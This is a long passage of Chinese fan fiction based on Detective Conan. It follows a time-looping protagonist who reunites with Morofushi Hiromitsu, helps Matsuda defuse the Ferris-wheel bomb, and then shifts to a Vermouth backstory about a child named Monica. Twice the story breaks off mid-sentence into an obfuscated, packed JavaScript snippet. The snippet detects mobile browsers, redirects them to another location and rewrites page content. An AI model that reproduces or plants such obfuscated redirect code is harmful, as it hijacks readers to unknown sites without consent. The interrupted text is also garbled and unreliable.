【苏格兰威士忌——诸伏景光】 【状态:等待中】 【预计唤醒时间:正在计算……】 窗外开始飘雪。 他想起那个在警校天台和他分过同一罐咖啡的人,想起那个在洗衣店外冲进火海的人,想起那个在深夜安全屋里、用那双温润的蓝眼睛安静看着他说“你倒茶的手势像我一个故人”的人。 他想起赤井秀一说:“下个时间,我们再见。” 森川海把手贴在冰冷的玻璃上。 “下个时间。”他低声说。 雪落在窗台,无声无息。 23.023 安全屋的窗帘没拉严实,晨光从缝隙里挤进来,在地板上拖出细长的一条。 森川和也趴在桌边睡觉。电脑屏幕早就暗了,咖啡杯倒扣在键盘旁边,液体流进缝隙,凝固成深褐色的血渍。 他听见声音。布料摩擦,床垫轻微下陷,随后是呼吸。 有人在他身后,离他很近。 森川和也猛地睁开眼睛,撑起身体转头,然后整个人僵住了。 诸伏景光坐在床边。 那双蓝色的眼睛比记忆中更深了些,眼底沉淀着许多森川和也看不懂的东西。可他看森川和也的眼神,温柔得像在注视一件失而复得、以为再也不会见到的旧物。 森川和也的喉咙滚了一下。 他很想像警校时那样,用那种欠揍又松散的语调说—— “hiro——真是吓死我了,你怎么能随便死啊。” 或者“你知不知道这几天我连觉都不敢睡,你赔我。” 又或是别的什么,随便什么。 但他张了张嘴,什么都没说出来。 随后诸伏景光笑了。很轻,很浅,像晨雾散尽后露出的第一线天光。他穿着森川和也给他换上的白色睡衣,平静美好的像一个梦。 “小森川。”诸伏景光说,“原来你在这里。” 森川和也的手指蜷了起来。 他有多久没听到这个称呼了? “hiro……”他开口,声音比自己预想的还要哑。 诸伏景光没有让他说完。 “原来我记得这一切,”他说,“是因为小森川把系统给了我。” 森川和也愣住了。 诸伏景光低下头,看着自己摊开在膝上的双手。那双手干干净净,没有血迹,没有茧,像警校时期那双会温柔地帮同期处理伤口的手。 “我看见你了。”他说。 他的声音很轻,像在念一封很长的信。 “我看见你在车上反复读档,一次又一次地死去。” 森川和也没有说话。 “我看见你在洗衣店读档,让zero去拆弹,自己冲进火海拉我。你PTSD发作了,跪在走廊里,zero拖着你往外走,你一直在喊妈妈。” “我看见你每一次救我们。”诸伏景光抬起头,看着他,“你去老宅取u盘,琴酒杀了你一次,然后是卡慕。你明明已经可以离开了,又一次回来。” 不要再说了。 森川看见自己的指甲掐进掌心。 “我看见你死了。”诸伏景光的声音依然很轻,“很多次。割喉。枪击。溺亡。火灾。车祸。琴酒。卡慕。还有我叫不出名字的人。最久的一次,你躺在欧洲某个无名墓园里,两年后才有人路过发现墓碑。系统读档需要尸体,你就在那里躺了两年,等一个拾荒者碰掉你口袋里的证件。” 窗外的晨光渐渐亮起来。东京十一月的天空是灰白色的,云层压得很低。 “一个人做这么多事,”诸伏景光说,“一定很辛苦吧。” 森川和也低着头,没有说话。 他看见自己的眼泪一滴一滴落在地板上,晕开成深色的小圆点。 他不知道自己什么时候开始哭的。 他甚至不知道自己还有眼泪。 然后他站起来。他不知道自己是怎么从椅子移动到床边的,他只知道自己已经跪在床边,脸埋在诸伏景光怀里,手指攥着他背后的衣服,像溺水的人抓住最后一根浮木。 他听见自己的声音从喉咙里挤出来,破碎得像被碾过的纸。 “我好累,hiro,我真的好累。” 诸伏景光没有回答。他只是伸出手,环住森川和也颤抖的后背,掌心贴着他凸起的肩胛骨。 很轻,像托住一片即将坠落的叶子。 “嗯。”景光说,“我知道。” 森川和也把脸埋得更深。 他闻见诸伏景光身上医院消毒水混着血液干涸后铁锈的气味,闻见他从死亡线挣扎回来时沾染的所有痕迹。可他在这一刻什么都顾不上了。 他只是想说话。 说那些憋了三条时间线、几次死亡假死、无数次读档都没能说出口的话。 “我以为你死了。” “嗯。” “我救不了你。我怎么都救不了你。我试了那么多次,读档、预判、提前警告——你还是每次都会走向那个天台。” “嗯。” “我把系统给你的时候其实不知道它能不能用,那是最后一次了,我一边想我就试最后一次,一边想要你活过来。” 诸伏景光轻轻抚着他的后背。 “我活过来了。”他说。 森川和也没有说话。 他只是在诸伏景光怀里无声而剧烈地颤抖。 很久很久,久到窗外的云层裂开一道缝,久到晨光从缝隙里漏进来,落在书桌上那摊咖啡渍旁边。 森川和也终于直起身体。 他用袖子狠狠擦了一把脸,眼眶红得像被人揍过,但表情已经恢复了那种惯常的平静。 “你什么时候知道的。”他问。 诸伏景光看着他。 “见到你的第一天。”他说。 森川和也愣了一下。 “第一次接头。新宿那家酒馆。”诸伏景光的嘴角弯起一个很浅的弧度,“你倒茶的时候,用左手托着茶壶底。我认识的人里只有小和也会这么做。” “你吃三明治挑掉生菜,”诸伏景光继续说,“喝咖啡加糖,熬夜之后会下意识揉右手的旧伤疤。你说话尾音偶尔会带出一点警校时期的口癖——改得很好了,但太累的时候会露出来。” “最开始只是怀疑……但是和也,你的时间并不是线性的。”诸伏景光的声音很温柔也很难过,“在你给我系统后,我就同时拥有了过去、现在和未来的记忆,你经历过的一切同样是我经历过的,你怀疑的一切同样是我在怀疑的。” “小和也演技越来越好了,只是绿雉看我的眼神,那不是第一次见面的人会有的眼神。” 森川和也没有说话。 窗外的云又合拢了,灰白色的天光均匀地铺满整个房间。 “所以你一直知道。”他说。 “嗯。” “从第一天就知道。” “嗯。” “……你怎么不戳穿。” 诸伏景光没有立刻回答。他垂下眼,看着自己膝上那双手。窗外灰白的光落在他侧脸上,把他的轮廓勾得很淡。 “因为你在躲。”他说,“你换了身份,假死,一个人从英国回来,一个人查组织的情报,一个人往自己手上揽所有的危险。你这么努力想藏起来,一定有必须藏的理由。我戳穿你,你又要逃到别的地方去。” 森川和也看着诸伏景光。 他想说“我没有在逃”,可他张了张嘴,发现自己说不出口。 因为诸伏景光说得对,他一直在逃。 从森川和也的死亡里逃出来,从海耶斯的假身份里逃出来,从那些他救不了的人、改变不了的事、以及永远无法回应的期待里,一次又一次地逃。 他以为换了名字、换了样貌、换了曾经那些人熟知的一切,就能逃过那些看着他背影的目光。 可诸伏景光从一开始就知道。 他什么都知道,可还是坐在那里,安静地等他,等他愿意自己走过来。 森川和也忽然又想哭了。但他只是用力吸了一下鼻子,把那股酸涩压回喉咙里。 “系统呢。”他问,努力让声音显得平稳,“你看到它了吗。” 诸伏景光点了点头。 “它在。”他说,“但已经不会亮了。” 他伸出手,在空气中虚点了一下。 森川和也没有意外。 他把系统交给景光的时候,界面已经闪烁得像濒死的萤火虫。那是他用了三条时间线、无数次读档修复、从死亡边缘把自己拖回来那么多次——积攒的所有能量。 “报废了。”森川低下头,看着自己空无一物的掌心。 窗外的云层更厚了,天光暗淡下来,像黄昏提前抵达。房间里的一切都染上淡色的光晕,像一场不真实的梦境。 “没关系,应该也用不到了。”森川和也说,“松田总不会死了吧。” 他的语气很轻松,甚至带着一点刻意的调侃。下一秒森川停住了,因为他看见诸伏景光的眼睛。 那双蓝眼睛安静地看着他,像一面很深很深的湖。 森川和也的笑容僵在嘴角。 “……你这是什么表情。”他说。 诸伏景光没有回答。 “在我的未来里,松田和班长去世了。” 这是一个漫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17193043|197044||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 长的故事。 苏格兰威士忌自然不能死而复生,卧底还没查出来,他甚至不能回到公安,那段时间和他联系的只有降谷零。 “那我呢?”森川和也问。 “你不在,zero问了赤井秀一,他也不知道。你就像从时间里消失了,谁也不知道你去了哪里,又和谁在一起。”诸伏景光很平静,“我们甚至怀疑你死了,直到很久后的某一天,久到组织覆灭、我们恢复身份,森川和也和绿雉确认牺牲。” “……你敲响了屋门,问我现在是哪一年。” 诸伏景光看着森川和也的侧脸——他瘦了很多,那双灿烂明媚的蓝色眼睛如今被时间留下惨烈的痕迹,诸伏景光突然想起来,他已经不记得警校时的森川和也长什么样子了。 那双眼睛到底是什么颜色? 沉默像水一样漫过房间。窗外的云层终于散开,惨白的冬阳挤进来,在地板上拖出一小片光。 森川和也看着那片光。 …… 新闻。 东京。 越狱。 警察牺牲。 1200万人质。 他的大脑像一台生锈的机器,缓慢地、艰涩地把这些碎片拼在一起。 ——那起案件的从犯被当场抓获,判了七年。 记事本 车祸。 噩梦成真了。 森川和也的背脊像一座即将断裂的桥,他几乎有点想笑的冲动——又一次,又一次失去所爱之人,一切荒谬的像个笑话。 …… “你没系统了。”诸伏景光说,“你打算怎么救松田阵平。” 森川和也的手放在膝盖上,交叠,压紧。“……我有办法。”他说。 …… 骗你的,hiro,其实玩家根本就没有系统。 玩家其实不需要这些,玩家自己就能读档重开。 森川海忽然低下头,看着自己的手。 那只手在灯光下很正常。五指,手背,骨节分明,和平时没什么两样。但他能感觉到,有什么东西在皮肤下面流动。不是血液,不是神经,是另一种他无法形容的东西,像无数根细线从他的身体里向外延伸,延伸到看不见的地方,延伸到时间的缝隙里。 他读档了太多次。每一次读档那些线就会多一根,现在它们已经多到快要把他撑破了。 诸伏景光看着他。 “怎么了?”他敏锐地问。 森川海没有回答。他只是看着自己的手,看着那只在灯光下越来越模糊的手。 手背上的皮肤开始变得透明……像水,像光,像他从来就不属于这个世界的某种东西。 他看见自己的血管,然后血管也消失了。取而代之的是无数细小的流动的光点。那些光点在皮肤下面旋转、跳跃、缠绕,像有生命一样。 森川海知道那是什么。 那是他每一次读档留下的痕迹。是他每一次死亡、每一次重生、每一次强行留在这个世界付出的代价。 “如果我是怪物……”森川和也背对着诸伏景光,低头凝视着自己的手,“你还会爱我吗?” 诸伏景光看着森川和也的背影——那条僵直的、像随时会断裂的脊椎线。他想起很多年前,警校那个会蹲在花坛边痛斥医学、会被同期开玩笑气到跳脚的森川和也。 他想起那个人在洗衣店火场外冲进去的背影,想起他在深夜安全屋里递来咖啡的手,想起他隔着一条街、站在咖啡馆角落、想靠近又不敢靠近的目光。 他想起那些他自己都不知道自己记得的事。 怎么会呢。诸伏景光想。 他作为公安的那一面在尖叫警告着不可控因素,可作为诸伏景光的他同样有私心。他拦不住也不可能拦住森川和也,在时间中穿梭的森川和在黑暗中潜伏的自己又有多大区别?在这一天到来时,他只会选择和森川和也上同一条船。 我们是共犯,Kazu。 你从不是孤独的一个人。 森川和也的背影延伸到窗外灰白色的、没有边际的天空,那天空上是盘旋的鸟群,黑色剪影绵延千里,灼灼不绝。 “……景光。” “嗯。” “如果,”他没有回头,“如果我没能——” “不会的。” 门在他身后轻轻合上。 24.024 森川海背后是安全屋。 这实在是个太匆忙的告别,但森川海来不及说更多。 他的手开始变化。 瞬间的——像有什么东西从他体内挣脱出来,冲破了那层薄薄的皮肤。 无数道光从他身上炸开。 那些光不是普通的颜色。是五彩缤纷绚烂到刺眼的,但又让人看着就觉得不舒服。红的不是红,蓝的不是蓝,每一道光都在流动扭曲,以一种不该存在于这个世界的方式转动。 光点升起来,在空中聚拢、旋转、缠绕。 它们变成一个一个的彩色泡泡。 泡泡也是五彩的。每个泡泡表面都流动着那种扭曲的颜色,像活的,像有自己的意识。它们在空中漂浮,轻轻碰在一起,然后融合成更大的泡泡。 更大的泡泡表面映出一些画面。 诸伏景光透过那扇紧闭的门看见了。 他看见警校的操场,樱花树下几个人站成一排敬礼。他知道那是毕业那天,因为他也在那排人里。 他看见一个从没见过的画面——洗衣店爆炸的火光里,一个人冲进去,又被另一个人拖出来。他看见天台。他自己站在边缘,枪抵着胸口。楼梯间的门被撞开,零冲进来喊他的名字。他看见那些森川和也经历过、他也从系统里看见过的无数次死亡。 泡泡越来越多。它们包围着森川和也,把他整个人裹在里面。那些光透出来,把他的轮廓照得模糊、遥远、不像活人。 森川和也看着诸伏景光。 那双眼睛也在变化。原本的黑色褪去,变成一种很淡的、近乎透明的金色。不像人类眼睛该有的颜色,似乎是别的什么东西借用了人类的眼睛在看着这个世界。 森川和也回头看了一眼,转身走进纷乱的时间里。 诸伏景光站起来,伸出手。他的手穿过那些五彩的光芒,什么也没碰到。 “小森川。”他说。 光芒炸开。 满屋都是那种五彩的扭曲的光点,在空气中漂浮、旋转、慢慢消散。它们穿过墙壁,穿过窗户,消失在夜色里。 等光完全散去,窗边已经没有人了。 …… 杯户町。 摩天轮矗立在夜空下,一圈一圈地转着。彩色的灯很亮,把周围的地面都照出颜色来。警戒线已经拉起来了,几辆警车停在路边,红灯无声地转着。穿制服的警察在疏散人群,有几个记者举着相机站在远处。 松田阵平站在摩天轮入口处,正在和萩原研二说话。 松田阵平的防爆服只穿了一半,头盔夹在胳膊下面,皱着眉听对讲机里传出来的声音,时不时应一声。 “七号座舱。”他说,“我上去。” 萩原研二站在旁边,没有说话。 松田看了他一眼:“你那什么表情?” “没什么表情。”萩原比了个大拇指,“就是觉得你今天特别帅。” 松田嗤了一声,没理他,转身朝登舱点走去。 就在这时,他停下了脚步。 摩天轮的灯光照在地上,把一切都染成彩色的。在那片彩色的光里站着一个人。茶褐色的头发、金色的眼睛,看起来二十出头,穿着普通的深色外套,站在警戒线里面,正看着他。 松田阵平皱起眉:“你是谁?” 那个人没有回答。他只是站在那里看着松田,像是在确认什么。 萩原研二也看见了,于是走过来站在松田旁边。“先生,这里不能进。”萩原说,语气还算客气,“麻烦您退到警戒线外面。” 那个人开口。 “你不能上去。”他的声音很平静,平静得有些奇怪。 松田看着他:“你说什么?” “摩天轮上有炸弹。”那个人开口,“你上去会死。” 松田的眉头皱得更紧了。他上下打量着这个人——茶褐色的头发,金色的眼睛,长相陌生,说话的语气却让他有种奇怪的熟悉感。 “你怎么知道有炸弹?”他问。 “我知道。” “你是炸弹犯的同伙?” “不是。” “那你怎么知道?” 那个人没有回答。 松田往前走了两步,离他更近了。摩天轮的彩灯照在他脸上,把那张陌生的脸照出斑斓的颜色。 “让开。”松田阵平说,“我要上去。” 那个人没有动:“抱歉。” 松田的手已经按在了腰间。他的配枪在那里,但面对一个手无寸铁的人,他不想掏枪。 萩原研二走过来,站在两个人之间。 “先生,”他说,语气放得更缓,“我们正在处理紧急情况,请您配合。如果您有什么信息,可以告诉我,我来处理。” 那个人看着他。那双金色的眼睛很平静,平静得不像活人。但萩原从那双眼睛里看见了别的东西——一种很深很深的、几乎要溢出来的东西。 他愣住了。 松田在他身后喊:“萩原,让开。” 萩原没有动。他看着那双金色的眼睛,看着那张陌生的脸,脑子里有什么东西在拼命转。 茶褐色的头发、金色的眼睛、说话的语气。 那种看着他时,像看着失而复得的什么的眼神。 “你……”他开口,声音有些干。 你是小森川吗?萩原想。 你是那个在天亮前离开,然后再也没有消息的森川和也吗? 那个人没有说话,但他的眼睛肯定了一切。 萩原往前走了一步,离他很近。近到能看清他睫毛的弧度,近到能感觉到他呼吸的温度。 “你到底是谁?”萩原问。 松田阵平从后面走过来,一把拉开萩原研二:“行了。不管你是谁,现在没时间。炸弹随时会炸。” 他绕过那个人,朝登舱点走去。那个人于是转过身,看着松田的背影。 “那我陪你上去。”他说。 “什么?”松田阵平停下脚步,回头看他。 “你上去拆弹,我陪你。”森川海说,“两个人总比一个人好。” 松田盯着他看了几秒。 “你知道你在说什么吗?” “知道。” “那上面有炸弹。” “知道。” “会死。” “不会。” 松田的眉头皱成一个疙瘩。 萩原研二走过来,站在那个人身边。他看着松田,又看着那个人,忽然开口。 “小阵平。” 松田看他。 “让他上去吧。”萩原说,“拦不住的。” 松田愣了一下。 萩原看着那个人,嘴角弯起一个很淡的弧度。那弧度里有很复杂的东西,隔着长久的时间。 “有些人是拦不住的。” 这个确实,松田可以骂森川,萩原可以骂松田,但玩家想去哪就去哪。 森川海看着萩原研二,萩原看回去,两个人的目光在摩天轮的彩灯下相遇,满天都是绚烂的彩光。 萩原伸出手,抓住森川海冰凉的手腕。 “活着回来。”他说,“你们两个都是。” 森川海低头看了一眼被他握住的手腕,又抬起头,看着萩原。那双金色的眼睛里有光在流动。 “会的。”他说。 萩原松开手,森川海转身跟上了松田阵平。松田站在登舱点旁边,看着越来越近的他。摩天轮的灯在他身上流转,把那张陌生的脸照得明明灭灭。 “森川和也?”松田问,“你搞什么鬼?” 森川海在他面前站定。两个人离得很近。近到松田能闻见他身上淡淡的、不属于任何洗衣液的味道。像雨后的空气,又像别的东西。 “你上来我再告诉你。”森川海说。 松田盯着他。 那双金色的眼睛也在看他。平静而专注,像这个世界上只有他一个人。 松田阵平跳上座舱,大步靠近森川海,被森川伸出手按在胸口。隔着防爆服,那只手的热度传不过来。但松田还是感觉到了什么——像有什么东西从那只手心里渗出来,渗进他的皮肤,渗进他的血液。 “你会活着。”森川海轻声道,“这一次,你会活着。” 松田低头看着那只按在自己胸口的手,又抬起头,看着那双金色的眼睛: “装什么装?别逼我打你。” 森川海:“……” 森川海:“大不了打死我啊。” 松田阵平生气地去拆弹。 萩原研二站在原地,看着那个座舱缓缓上升。灯光把一切都照得很亮,很漂亮,像一个巨大的旋转的梦。 座舱越升越高,高到看不清里面的人影。萩原仰着头,看着那个小小的方块越变越小,最后停在最高点。风很大。把他的头发吹乱了。他就那样仰着头,一动不动。 座舱里,松田阵平蹲在炸弹旁边,手指悬在那些线上。 森川海站在他身后,没有说话。 “哪一根?”松田问。 “蓝色的。” 松田的手指停在蓝色那根上面。 “你确定?” “不确定。” 松田阵平:“那你乱说什么?” “你问的。”森川海很诚恳,“你知道的,我成绩差。” “我怎么知道你成绩差。”松田的语气带着些吊儿郎当,“别忘了你还没告诉我你是谁。” 身后沉默了一会儿。 然后他听见那个人的声音。 “我叫森川海。”他说,“有时候也叫森川和也,也叫莫尼科·海耶斯,也叫过别的名字。我活了三次,死了很多次,但挺赚的。” 松田的手指僵住了。 “你们五个人真的很不让人省心啊。”森川海还在念叨,“zero和景光去卧底了,萩原和你一直在拆弹,很危险的。还有班长,查到很危险的案子,却死于最简单的疲劳驾驶。” “我在警校遇见过你们。那时候我叫森川和也,发誓再也不学医,被你们笑话了一整晚。后来我死了,又活过来,换了身份,换了脸,换了名字。再回来的时候,你们理应认不出我。” “但你们一直认得出。” 他的声音开始发抖。 “萩原会在深夜接听我的电话说地址发我,你会安抚我的情绪说够了。景光从一开始就知道我是谁,但他不说,他在等我愿意自己说。” “我去看过航哥,他以为我是误入歧途的失足青年,请我吃了饭。吃饭时认出我,说我要蹭饭可以直接讲。” “你们一直在等我……如果你们都不怕的话,我又有什么理由怕?” “森川海(もりかわ かい),Morikawa umi。怎么是个这么可爱的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17196075|197044||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 名字。”松田的手从那些线上收回来,转过身看这个同期。 那个人站在他身后靠着座舱壁。摩天轮的彩灯从四面八方照进来,把他整个人照得斑斓。 “你回来过多少次?”松田阵平问。 “很多次。” “死过多少次?” “记不清了。” 松田沉默了一会儿。 座舱在最高点停着,风从缝隙里灌进来,呼呼地响。 “刚才你说,”松田开口,“这一次我会活着,那你呢?” 那双金色的眼睛在彩色的灯光里显得很不真实,像随时会消失:“我也会。” 松田阵平伸出手,抓住他的手腕。那只手很凉,凉得不正常。 但他没有松开。 “那就一起。”他说。 他转过身,重新蹲下,手伸向那根蓝色的线。 “剪了?”他问。 “等等这个不行。”森川海看上去很想扑过来,“我真的是瞎说的——” 松田的手指用力。 线断了,无事发生。 “你知道!”森川海控诉,“你就是逗我玩?” “不然呢,真听你的?”松田长长地吐出一口气,靠坐在座舱壁上。 “等一下会有人给你发短信。”森川海开口,“不过不用管,爆炸的地点景光已经告诉萩原了。” 松田阵平:“那我们上来干什么?” 在炸弹面前互诉衷肠吗?是不是没必要这么浪漫。 “不知道啊,我看你比较喜欢在摩天轮上表白——” “哈?” “对你死前和佐藤警官表白了。” “你别以为我不敢打你!” “……” 两个人并排坐着看外面东京的夜景,灯火密密麻麻地铺开,一直延伸到看不见的地方。 “我第一次见你的时候,”松田忽然开口,“觉得你很烦,不过后来觉得你也没那么烦。” 沉默。 “再后来,”松田说,“你死了。我站在墓碑前面,觉得可能还是烦点好。” 森川海转过头看他。 松田没有转头。他盯着外面的夜景,下颌线绷得很紧。 “你刚才说,你们五个人。”他说,“我们怎么了?” 森川海沉默了一会儿。 “你们都会死。”他说,“一个一个的。” 松田的手握紧了。 “我想拦住你们。”森川的声音很轻,“每一次,每一次都没拦住。所以我一直读档,一直重来,一直——” 他停住了。松田转过头看他。摩天轮的灯照在森川海脸上,把他眼角那一点亮照得很清楚。 “这一次呢?”松田问。 那个人看着他。 “这一次,”他说,“我在这里。” 松田伸出手,捏住他的下巴。 森川海的眼睛微微睁大。 “你那个什么读档,”松田说,“还会用吗?” “不……不会了,上次见景光时把系统给了他,然后就用不了了。” “那你怎么来的?” “我……”森川海顿了一下,“我穿过时间来的。” 松田盯着他。 “穿过时间?” “对。” “痛吗?” 森川海愣了一下,像是没听清松田阵平在问什么:“什么?” “痛吗?”松田又问了一遍,“穿过时间,痛不痛?” 森川海看着他,那双金色的眼睛里有什么东西在翻涌。 “……痛。”他说。 很痛,直面那些不能被理解的东西,大脑像被掏出来揉捏一样,疼到他想剖开自己。身体消散变成怪物也很痛,痛到麻木,麻木到连疼痛都是奢侈,反反复复。 松田松开他的下巴,把人揽过来按在自己怀里。他感到森川和也身体僵了一下,然后慢慢软下来,把脸埋在自己的的颈窝里,没有说话。 座舱里很安静,只有风的声音,和两个人交错的呼吸。 松田的下巴抵在他头顶,闻着森川海身上淡淡的、不属于任何洗衣液的味道。 座舱开始缓缓下降。摩天轮的灯一圈一圈地从他们身上流过,红的,黄的,蓝的,绿的。像一整个彩色的世界。 松田低头看了一眼埋在肩上的人,那张脸看起来没那么陌生了。他想起来很久以前警校的时候,有一个同期。那个人说话的语气,看人的眼神,还有那些小动作—— 他的墓碑还在墓园淋雨。 “到了。”松田阵平说。 森川海从他肩上抬起头。 松田看着他,看着那双金色的眼睛。 “下次别走时间了。”松田阵平说,“直接走正门。” 森川海愣了一下。 然后他笑了,但眼睛里的金色好像没那么淡了: “那你还要给佐藤表白吗?” “给谁表白?”不明所以但捕捉到关键词兴奋起来的萩原研二挤过来,“谁给谁表白?” “松田死前要给佐藤警官表白。” “我没有——” “呜哇怎么不是我——研二酱超难过的!” “那时候你已经死了。” “……” “等等松田我们真的要现在打起来吗?刻板印象又要加深了——” 25.025 很多年以后,贝尔摩德还是会想起一九七几年某个普通的下午,具体哪一年她已经记不太清了,反正那时候她还不是后来那个样子。 组织的人把那个孩子送来的时候,是个阴天。洛杉矶的冬天很少有这种天气,阴沉沉的,像蒙了一层灰。莎朗靠在门框上,看着那个穿黑色西装的男人从车里抱出一个小孩。 小孩很小,目测四五岁的样子,穿着一件白色的连衣裙,裙子太长,拖到脚踝,显得人更小了。她的头发是浅金色的,软趴趴地贴在脸上,被男人抱着也不动,就那么安静地垂着眼睛。 “BOSS的意思。”男人把孩子放到地上,推了推眼镜,“以后归你养。” 莎朗低头看那个孩子。 小孩也抬起头来看她。 眼睛是灰蓝色的,像雨后的天空,干净得什么都没有。她不说话,就那么看着莎朗,既不害怕也不好奇,好像被人送来送去是很平常的事。 “叫什么?” “莫妮卡。”男人说,“没有姓。” 莎朗挑了挑眉。男人没有多解释的意思,转身上车走了。 孩子还站在原地,一动不动。 莎朗蹲下来,平视她的眼睛:“知道我是谁吗?” 小孩摇头。 “以后我叫你什么?” “莫妮卡。”小孩开口了,声音很小,像蚊子哼。 莎朗看着她。裙子是新的,领口缝得歪歪扭扭,脚上的白色袜子一只高一只低,皮鞋明显大了一号,走路肯定不跟脚。 “进来吧。” 莎朗转身进屋,没回头看。走了几步,听到身后传来细碎的脚步声,小小的,一下一下踩在地板上。 她回头看了一眼。 小孩正努力地迈过门槛,裙子太长,差点绊倒。她扶着门框站稳了,又继续往前走,始终保持着两三步的距离,不靠近,也不落下。 那时候莎朗想:倒是挺乖的。 第一个月确实挺乖的。 莫妮卡不哭不闹,给什么吃什么,让什么时候睡就什么时候睡。莎朗在家的时候,她就坐在客厅的角落里,抱着膝盖安安静静地看着窗外。有时候莎朗从书房出来倒水,会发现她就那么坐着,一坐就是一下午。 “你不无聊吗?”莎朗问她。 莫妮卡摇摇头。 “想干什么自己去。” 莫妮卡还是摇头。 莎朗没再管她。 那时候她正忙着拍戏,早出晚归是常态。回来的时候往往已经是深夜,客厅的灯却总是亮着——不是大灯,是沙发旁边那盏落地灯,暖黄色的光,小小的一个圈。 莫妮卡就坐在那个光圈里,抱着膝盖,等她回来。 “怎么不睡觉?” “等妈妈。” 莎朗愣了一下:“谁让你叫妈妈的?” 莫妮卡眨眨眼睛:“没有人。你不是吗?” 莎朗看着她,小孩的脸上没有什么表情,只是单纯地在问一个问题。灰蓝色的眼睛在灯光下显得更浅了,像玻璃珠。 “不是。”莎朗说,“以后别这么叫。” “哦。”莫妮卡点点头,“那叫什么?” “……莎朗。” 莫妮卡从沙发上滑下来,趿拉着拖鞋,摇摇晃晃地往自己房间走。走到门口又回头,看了莎朗一眼。 “晚安,莎朗。” 然后门轻轻关上了。 那天晚上莎朗在沙发上坐了很久,看着那盏落地灯,不知道在想什么。 后来莎朗想起来,那个“哦”大概就是一切的开始。 因为从那天之后,莫妮卡就开始变了。 一开始是房间里多了动静。莎朗路过莫妮卡的房间,会听到里面传来窸窸窣窣的声音,像小动物在打洞。推门进去,莫妮卡就坐在床上,一脸无辜地看着她,被子底下鼓鼓囊囊的。 “藏了什么?” 莫妮卡摇头。 莎朗掀开被子,发现下面压着三本书、一个抱枕、半块吃剩的面包,还有她从书房拿回来的一张报纸。 “……你藏这些干什么?” 莫妮卡想了想:“不知道。” 然后就是客厅。莎朗发现茶几上的东西经常会换位置,今天花瓶在左边,明天就在右边,后天可能就跑到电视柜上去了。她问莫妮卡,莫妮卡说:“我觉得放在那里好看。” “那你问过我吗?” 莫妮卡歪着头看她:“你又不看。” 莎朗被噎住了。 再然后就是厨房。有一天莎朗回家,发现厨房里一片狼藉,面粉撒得到处都是,灶台上摊着一坨黏糊糊的东西,莫妮卡站在椅子上,双手沾满了面糊,发丝粘嗒嗒地糊在一起,脸上也是白的。 “你在干什么?” “做饼干。”莫妮卡理直气壮。 “你会做饼干?” “不会。” 莎朗深吸一口气:“那你为什么做饼干?” 莫妮卡眨眨眼睛:“因为你今天回来得早。” 莎朗看着她。 小孩脸上沾着面粉,头发上也是,但眼睛亮亮的,像在等她表扬。厨房被糟蹋得不成样子,烤箱里传来一股奇怪的味道——肯定是烤糊了。 “下来。”莎朗说。 莫妮卡的笑容垮了一点,慢慢从椅子上爬下来,低着头站在莎朗面前,两只手背在身后。 “手伸出来。” 莫妮卡乖乖伸手。莎朗看着那两只沾满面糊的小爪子,什么都没说,把她抱到水池边,打开水龙头,开始给她洗手。 莫妮卡仰着头看她,过了一会儿,小声问:“你不生气吗?” “生气有用吗?” 莫妮卡沉默了一会儿,突然把脸埋在莎朗的衣服上蹭了蹭,像是一个笨拙的撒娇。 莎朗低头看自己的衣服——沾了一片面糊。 “你干什么?” “擦脸。”莫妮卡的声音闷闷的。 “……你给我下来。” 第一个发现莫妮卡不怕她的人,其实是莎朗的助理。 那天助理来给她送剧本,莎朗靠在沙发上看。莫妮卡本来坐在另一边,看着看着就慢慢挪过来,一点一点地,像蜗牛爬。 莎朗没理她。 莫妮卡挪到她旁边,挨着她的胳膊坐下了。 莎朗还是没理她。 过了一会儿,莫妮卡把头靠在她肩膀上。 莎朗低头看她,莫妮卡已经闭上眼睛,呼吸均匀,睡着了。浅金色的头发蹭在莎朗的脖颈边,有点痒。 “这孩子好像很喜欢您呢。”助理说。 莎朗没动。 后来这样的场景就越来越多了。莫妮卡开始主动往她身上凑,看电视的时候要坐她腿上,睡觉前要她讲故事,早上起来第一件事就是跑到她房间爬上她的床。 “你自己没床吗?” “有。”莫妮卡理直气壮地钻进她被窝,“但你的暖和。” 莎朗想说什么,又觉得说什么都没用。 后来……后来莎朗带她去组织的研究所。 那是必须做的事,两个月一次,从莫妮卡来的时候就被告知了。莎朗不知道他们要做什么实验,也不想知道。她只需要把人带去,等几个小时,再带回来。 去研究所的路上莫妮卡很安静,靠在车窗上看着外面,一句话不说。到了地方,穿白大褂的人出来接她,莫妮卡回头看了莎朗一眼。 “去吧。”莎朗说。 莫妮卡点点头,跟着那个人走了。 莎朗在外面等了三个小时。 三个小时后,门开了,莫妮卡从里面走出来。她走得很慢,脸色发白,但看到莎朗的时候还是会露出微笑。 “回家吗?” “回家。” 回去的路上莫妮卡也很安静。莎朗从后视镜里看她,她缩在后座,抱着膝盖,像刚来的时候那样。 “疼吗?”莎朗问。 莫妮卡摇摇头。 莎朗没再问。 那天晚上莎朗半夜起来喝水,路过莫妮卡的房间,听到里面有什么声音。她推开门,借着走廊的光看到莫妮卡缩在床上,把自己裹成一个球,肩膀一抖一抖的。 莎朗走过去,在床边坐下。 莫妮卡从被子里探出头来,眼眶红红的,但没哭出声。 “不是说不疼吗?” 莫妮卡抿了抿嘴:“现在疼。” 